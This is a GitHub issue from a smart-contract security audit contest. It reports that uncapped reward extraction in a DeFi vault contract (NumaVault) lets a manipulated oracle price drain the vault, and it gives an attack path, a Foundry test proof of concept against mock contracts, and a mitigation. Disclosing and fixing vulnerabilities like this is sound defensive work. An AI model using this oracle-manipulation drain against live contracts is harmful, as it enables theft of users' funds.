Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refined Bone Bat - Unbounded Rewards Extraction in NumaVault #233

Open
sherlock-admin3 opened this issue Dec 31, 2024 · 0 comments
Open

Comments

@sherlock-admin3
Copy link
Contributor

Refined Bone Bat

High

Unbounded Rewards Extraction in NumaVault

Summary

The missing cap on rewards in NumaVault.sol will cause a complete depletion of the vault’s liquidity for all users as an attacker will exploit inflated oracle prices to extract excessive rewards.

Root Cause

In NumaVault.sol:336, the rwd value calculated in the rewardsValue function is not capped to the vault’s available balance. This allows the rewards transferred to rwd_address in extractInternal to exceed the vault’s liquidity, leading to its complete depletion.
https://github.com/sherlock-audit/2024-12-numa-audit/blob/main/Numa/contracts/NumaProtocol/NumaVault.sol#L336

  • No check ensures that rwd is less than or equal to the vault’s available balance.

NumaVault.sol:360:
https://github.com/sherlock-audit/2024-12-numa-audit/blob/main/Numa/contracts/NumaProtocol/NumaVault.sol#L360

  • Transfers the entire rwd without verifying liquidity sufficiency.

Internal pre-conditions

1-The last_lsttokenvalueWei is set to a value significantly lower than the current oracle price (currentvalueWei), creating a large diff in price.
2-The rwd_threshold is set to a value smaller than the calculated rwd.
3-The vault contains sufficient lstToken liquidity to execute the initial transfer.

External pre-conditions

1-The oracle used by NumaVault needs to provide a significantly higher price for lstToken than the last recorded value (last_lsttokenvalueWei).
(Example: Oracle price goes from 1e18 to 1000e18 within 24 hours.)

2-The attacker controls or influences rwd_address.

Attack Path

The attacker manipulates the price returned by the oracle to inflate the value of lstToken (e.g., by flash loaning large amounts of collateral or exploiting oracle design weaknesses).

Then trigger Reward Extraction:

  • Wait until 24 hours have elapsed (satisfying the time condition in extractRewardsNoRequire).
  • Call a function that triggers extractRewardsNoRequire (e.g., buy or sell).

Then extract Excessive Rewards:

  • The rwd is calculated using the inflated oracle price, resulting in a disproportionately large reward value.
  • The SafeERC20.safeTransfer call sends this unbounded reward amount to rwd_address, depleting the vault’s lstToken liquidity.

Impact

Affected Party: All users of the NumaVault.

Loss: The vault’s lstToken balance is fully depleted, causing:

  • 1.Failure of buy, sell, and liquidation functions due to lack of liquidity.
  • 2.Potential insolvency of the protocol, as user funds cannot be redeemed.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "forge-std/Test.sol";
import "../contracts/NumaVault.sol";
import "../contracts/mocks/MockOracle.sol";
import "../contracts/mocks/MockToken.sol";

contract NumaVaultTest is Test {
    NumaVault vault;
    MockOracle oracle;
    MockToken lstToken;
    address attacker = address(0x123);

    function setUp() public {
        // Deploy mock dependencies
        lstToken = new MockToken("LST Token", "LST", 18);
        oracle = new MockOracle(1e18); // Initial price of 1
        vault = new NumaVault(
            address(lstToken),
            address(lstToken),
            18,
            address(oracle),
            attacker,
            0,
            0
        );

        // Fund the vault
        lstToken.mint(address(vault), 1_000e18);
    }

    function testUnboundedRewardExtraction() public {
        // Manipulate oracle price to inflate reward value
        oracle.setPrice(10_000e18); // Set price to 10,000

        // Simulate time passage to satisfy the 24-hour condition
        vm.warp(block.timestamp + 1 days);

        // Trigger rewards extraction
        vault.extractRewardsNoRequire();

        // Assert that the vault's liquidity is drained
        uint256 attackerBalance = lstToken.balanceOf(attacker);
        uint256 vaultBalance = lstToken.balanceOf(address(vault));

        console.log("Attacker Balance:", attackerBalance);
        console.log("Vault Balance:", vaultBalance);

        assertEq(attackerBalance, 1_000e18);
        assertEq(vaultBalance, 0);
    }
}

Vault holds 1,000 LST tokens; oracle price is 1e18.

  • After Exploit: Attacker drains all 1,000 LST tokens from the vault. Vault balance is 0.

Mitigation

  • Cap Rewards to Available Liquidity:
    Ensure that the rwd value cannot exceed the vault’s balance:
uint256 availableBalance = lstToken.balanceOf(address(this));
rwd = rwd > availableBalance ? availableBalance : rwd;
  • Add this check in extractInternal.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant